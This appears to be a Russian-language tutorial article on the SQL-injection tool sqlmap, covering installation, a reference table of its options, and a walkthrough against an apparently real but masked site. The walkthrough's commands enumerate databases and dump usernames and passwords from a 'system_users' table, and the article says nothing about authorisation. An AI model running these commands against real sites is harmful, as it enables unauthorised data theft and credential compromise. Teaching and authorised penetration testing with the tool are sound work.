

Публикация на тему

Использование sqlmap для SQL-инъекций

Sqlmap — это инструмент с открытым исходным кодом для тестирования на проникновения на уязвимые сайты, который использует SQL-инъекции.

Автор

[Михалькевич Александр Викторович](#)

Публикация

Наименование Использование sqlmap для SQL-инъекций

Автор А.В.Михалькевич

Специальность Sqlmap — это инструмент с открытым исходным кодом для тестирования на проникновения на уязвимые сайты, который использует SQL-инъекции.,

Анотация

Anotation in English

Ключевые слова

Количество символов 6985

Содержание

[Введение](#)

1 [Зачем нужен sqlmap](#)

2 [Установка sqlmap](#)

3 [Использование уязвимости SQL-инъекция](#)

4 [Составляющие запроса sqlmap](#)

[Заключение](#)

[Список использованных источников](#)

[Приложения](#)

Введение

1 Зачем нужен sqlmap

Если сайт уязвим к SQL-инъекции, то с помощью sqlmap возможно:

получать информацию из базы данных, в том числе дампы (всю) базу данных

удалять и изменять информацию из базы данных
создать шел на веб-сервере

2 Установка sqlmap

Sqlmap зависит от версии Python 2.6.x или 2.7.x и не зависит от платформы. Информация по установке Python - здесь <https://www.python.org/downloads/release/python-279/>

Скачать sqlmap можно с github.com:

```
wget 'https://github.com/sqlmapproject/sqlmap/tarball/master' --output-document=sqlmap.tar.gz
```

После скачивания, устанавливаем программу:

```
tar -xvf sqlmap.tar.gz
```

3 Использование уязвимости SQL-инъекция

Для начала, убедимся в том, что sqlmap установлен, и готов к работе.

```
sqlmap.py -h
```

Если появилась справка по sqlmap, значит всё работает как надо! В командной строке sqlmap нужно запускать следующим образом:

```
sqlmap.py -u http://xxx.by/bigcatalog.php?id_catalog=error --dbs
```

где -u задаёт целевой адрес (вводится обязательно с протоколом http/https);

— dbs параметр для получения имён баз данных, найденных в случае успешной эксплуатации;

Получив список баз данных, можем выбрать интересующую нас базу, и вывести список таблиц текущей базы.

```
sqlmap.py -u http://xxx.by/bigcatalog.php?id_catalog=error -D bsnby_site -tables
```

Нас интересует: system_users

```
sqlmap.py -u http://xxx.by/bigcatalog.php?id_catalog=error -D bsnby_site -T system_users -columns
```

Теперь дампы первые 10 записей в базе.

```
sqlmap.py -u http://xxx.by/bigcatalog.php?id_catalog=error -D bsnby_site -T system_users -C name,pass --start=1 --stop=10 --dump
```

4 Состовляющие запроса sqlmap

Запрос в sqlmap состоит из цели и параметров.

Цель

Как минимум один из следующих вариантов должен присутствовать, чтобы определить цель:

-d DIRECT	Прямое подключение к базе данных
-u URL, --url=URL	URL цели (например, " www.target.com/vuln.php?id=1 ")
-l LOGFILE	Вести логи от Burp или WebScarab проху в файл
-m BULKFILE	Сканирование по списку целей, заданных в переданном файле
-r REQUESTFILE	Загрузить HTTP-запрос из файла
-g GOOGLEDORK	Использовать результат выдачи Google дорков как целевые url\`ы (site:, inurl:, intext:)
-c CONFIGFILE	Загрузить настройки из конфигурационного INI файла.

Параметры

Эти параметры могут быть использованы для перечисления серверных баз данных систем управления информации, структур и данных, содержащихся в таблицах. Более того, вы можете запустить свои собственные SQL запросы

-a, --all	Получить всё
-b, --banner	Получить текстовый банер СУБД (фициальное название, номер версии)
--current-user	Получить текущего пользователя СУБД
--current-db	Получить используемую базу данных
--hostname	Получить имя хоста сервера СУБД
--is-dba	Определить под Админом мы или нет
--users	Перечислить пользователей СУБД
--passwords	Перечислить парольные хэши пользователей СУБД
--privileges	Перечислить привелегии
--roles	Перечислить роли пользователей
--dbs	Перечислить базы данных в СУБД
--tables	Перечислить таблицы текущей БД
--columns	Перечислить колонки текцшей БД
--schema	Перечислить схемы СУБД
--count	Получить кол-во записей в таблицах
--dump	Дамп записей текущей таблицы БД
--dump-all	Дамп всех таблиц из баз данных в СУБД
--search	Поиск колонок, таблиц и/или имен БД
--comments	Получить комментарии СУБД
-D DB	База данных в СУБД для перечисления
-T TBL	Таблица СУБД для перечисления
-C COL	Колонока таблицы СУБД для перечисления
-X EXCLUDECOL	Не перечислять последующие колонки
-U USER	Пользователь СУБД для перечесления
--exclude-sysdbs	Исключить системные базы данных СУБД при перечислении таблиц

--where=DUMPWHERE	Использовать WHERE, если таблица скрыта
--start=LIMITSTART	Извлекать первую запись результата запроса
--stop=LIMITSTOP	Извлекать последнюю запись результата запроса
--first=FIRSTCHAR	Извлекать первый символ слова в результате запроса
--last=LASTCHAR	Извлекать последний символ слова в результате запроса
--sql-query=QUERY	SQL запросы, которые должны быть выполнены
--sql-shell	Вызов интерактивного SQL shell\ 'a
--sql-file=SQLFILE	Выполнить SQL запросы из файла(ов)

Заключение

Список использованных источников

1. [Печатное издание] **Программируем на Python** Доусон М. – СПб.: Питер, 2014. – 416 с.
2. [Печатное издание] **Программирование на Python, том I, 4-е издание.** Лутц М. – Пер. с англ. – СПб.: Символ-Плюс, 2011. – 992 с.

Приложения